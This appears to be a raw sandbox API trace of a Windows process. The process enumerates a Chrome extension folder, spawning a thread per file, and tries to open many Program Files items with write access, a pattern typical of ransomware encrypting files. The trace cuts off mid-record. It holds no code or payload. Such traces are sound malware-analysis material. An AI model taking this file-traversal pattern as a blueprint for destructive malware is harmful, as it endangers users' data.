wcscmp (_String1="mirroring_cast_streaming.js", _String2=".") returned 1 [0174.176] wcscmp (_String1="mirroring_cast_streaming.js", _String2="..") returned 1 [0174.176] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x146) returned 0x8f6488 [0174.176] wcscpy (in: _Dest=0x8f6488, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.176] wcscat (in: _Dest=0x8f6488, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.176] wcscat (in: _Dest=0x8f6488, _Source="mirroring_cast_streaming.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" [0174.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa0 [0174.178] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836c2e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836c5560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x2adeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_common.js", cAlternateFileName="MIRROR~2.JS")) returned 1 [0174.178] wcscmp (_String1="mirroring_common.js", _String2=".") returned 1 [0174.178] wcscmp (_String1="mirroring_common.js", _String2="..") returned 1 [0174.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x8fccb0 [0174.178] wcscpy (in: _Dest=0x8fccb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.178] wcscat (in: _Dest=0x8fccb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.178] wcscat (in: _Dest=0x8fccb0, _Source="mirroring_common.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" [0174.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fccb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8 [0174.179] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836ca380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836cf1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x794cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_hangouts.js", cAlternateFileName="MIRROR~3.JS")) returned 1 [0174.179] wcscmp (_String1="mirroring_hangouts.js", _String2=".") returned 1 [0174.179] wcscmp (_String1="mirroring_hangouts.js", _String2="..") returned 1 [0174.179] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13a) returned 0x8f65d8 [0174.179] wcscpy (in: _Dest=0x8f65d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.179] wcscat (in: _Dest=0x8f65d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.179] wcscat (in: _Dest=0x8f65d8, _Source="mirroring_hangouts.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" [0174.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f65d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0 [0174.180] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836d3fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836d66d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x941, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_webrtc.js", cAlternateFileName="MIRROR~4.JS")) returned 1 [0174.180] wcscmp (_String1="mirroring_webrtc.js", _String2=".") returned 1 [0174.180] wcscmp (_String1="mirroring_webrtc.js", _String2="..") returned 1 [0174.180] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x8fdd58 [0174.180] wcscpy (in: _Dest=0x8fdd58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.180] wcscat (in: _Dest=0x8fdd58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.180] wcscat (in: _Dest=0x8fdd58, _Source="mirroring_webrtc.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" [0174.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fdd58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4 [0174.182] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0174.182] wcscmp (_String1="_locales", _String2=".") returned 1 [0174.182] wcscmp (_String1="_locales", _String2="..") returned 1 [0174.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x120) returned 0xd4d7c40 [0174.182] wcscpy (in: _Dest=0xd4d7c40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.182] wcscat (in: _Dest=0xd4d7c40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.182] wcscat (in: _Dest=0xd4d7c40, _Source="_locales" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales" [0174.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4d7c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac8 [0174.183] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0174.183] wcscmp (_String1="_metadata", _String2=".") returned 1 [0174.183] wcscmp (_String1="_metadata", _String2="..") returned 1 [0174.183] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x122) returned 0x99dba8 [0174.183] wcscpy (in: _Dest=0x99dba8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.183] wcscat (in: _Dest=0x99dba8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.183] wcscat (in: _Dest=0x99dba8, _Source="_metadata" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata" [0174.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99dba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0174.184] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0174.184] FindClose (in: hFindFile=0x93b038 | out: hFindFile=0x93b038) returned 1 [0174.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908380) returned 1 [0174.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92df18) returned 1 [0174.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77ce8) returned 1 Thread: id = 6374 os_tid = 0x1c78 [0171.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc")) returned 0x20 [0171.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC", dwFileAttributes=0x20) returned 0 [0171.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.839] GetLastError () returned 0x5 [0171.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC", dwFileAttributes=0x20) returned 0 [0171.840] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50748) returned 1 Thread: id = 6375 os_tid = 0xf24 [0171.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc")) returned 0x20 [0171.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC", dwFileAttributes=0x20) returned 0 [0171.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.841] GetLastError () returned 0x5 [0171.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC", dwFileAttributes=0x20) returned 0 [0171.841] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b78f0) returned 1 Thread: id = 6376 os_tid = 0x1c7c [0171.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc")) returned 0x20 [0177.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC", dwFileAttributes=0x20) returned 0 [0177.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.086] GetLastError () returned 0x5 [0178.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC", dwFileAttributes=0x20) returned 0 [0178.086] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7d30) returned 1 Thread: id = 6377 os_tid = 0x1c80 [0171.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc")) returned 0x20 [0172.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC", dwFileAttributes=0x20) returned 0 [0172.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.526] GetLastError () returned 0x5 [0172.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC", dwFileAttributes=0x20) returned 0 [0172.526] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7db8) returned 1 Thread: id = 6378 os_tid = 0x1c84 [0171.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc")) returned 0x20 [0172.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC", dwFileAttributes=0x20) returned 0 [0172.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.525] GetLastError () returned 0x5 [0172.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC", dwFileAttributes=0x20) returned 0 [0172.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7e40) returned 1 Thread: id = 6379 os_tid = 0x1c88 [0171.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc")) returned 0x20 [0172.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC", dwFileAttributes=0x20) returned 0 [0172.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.524] GetLastError () returned 0x5 [0172.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC", dwFileAttributes=0x20) returned 0 [0172.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7b10) returned 1 Thread: id = 6380 os_tid = 0x1c8c [0171.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv")) returned 0x20 [0173.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV", dwFileAttributes=0x20) returned 0 [0174.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0177.086] GetLastError () returned 0x5 [0177.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV", dwFileAttributes=0x20) returned 0 [0177.086] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7a88) returned 1 Thread: id = 6381 os_tid = 0x1c90 [0171.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml")) returned 0x20 [0174.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML", dwFileAttributes=0x20) returned 0 [0175.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0177.085] GetLastError () returned 0x5 [0177.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML", dwFileAttributes=0x20) returned 0 [0177.085] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7a00) returned 1 Thread: id = 6382 os_tid = 0x1c94 [0171.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc")) returned 0x20 [0175.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC", dwFileAttributes=0x20) returned 0 [0175.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.145] GetLastError () returned 0x5 [0176.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC", dwFileAttributes=0x20) returned 0 [0176.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0280) returned 1 Thread: id = 6383 os_tid = 0x1c98 [0171.852] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\casey")) returned 0x20 [0172.529] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey", dwFileAttributes=0x20) returned 0 [0172.529] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\casey"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.529] GetLastError () returned 0x5 [0172.529] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey", dwFileAttributes=0x20) returned 0 [0172.529] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0b00) returned 1 Thread: id = 6384 os_tid = 0x1ca4 [0171.854] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis")) returned 0x20 [0172.530] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis", dwFileAttributes=0x20) returned 0 [0172.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis"), dwDesiredAccess=0xc0010000, 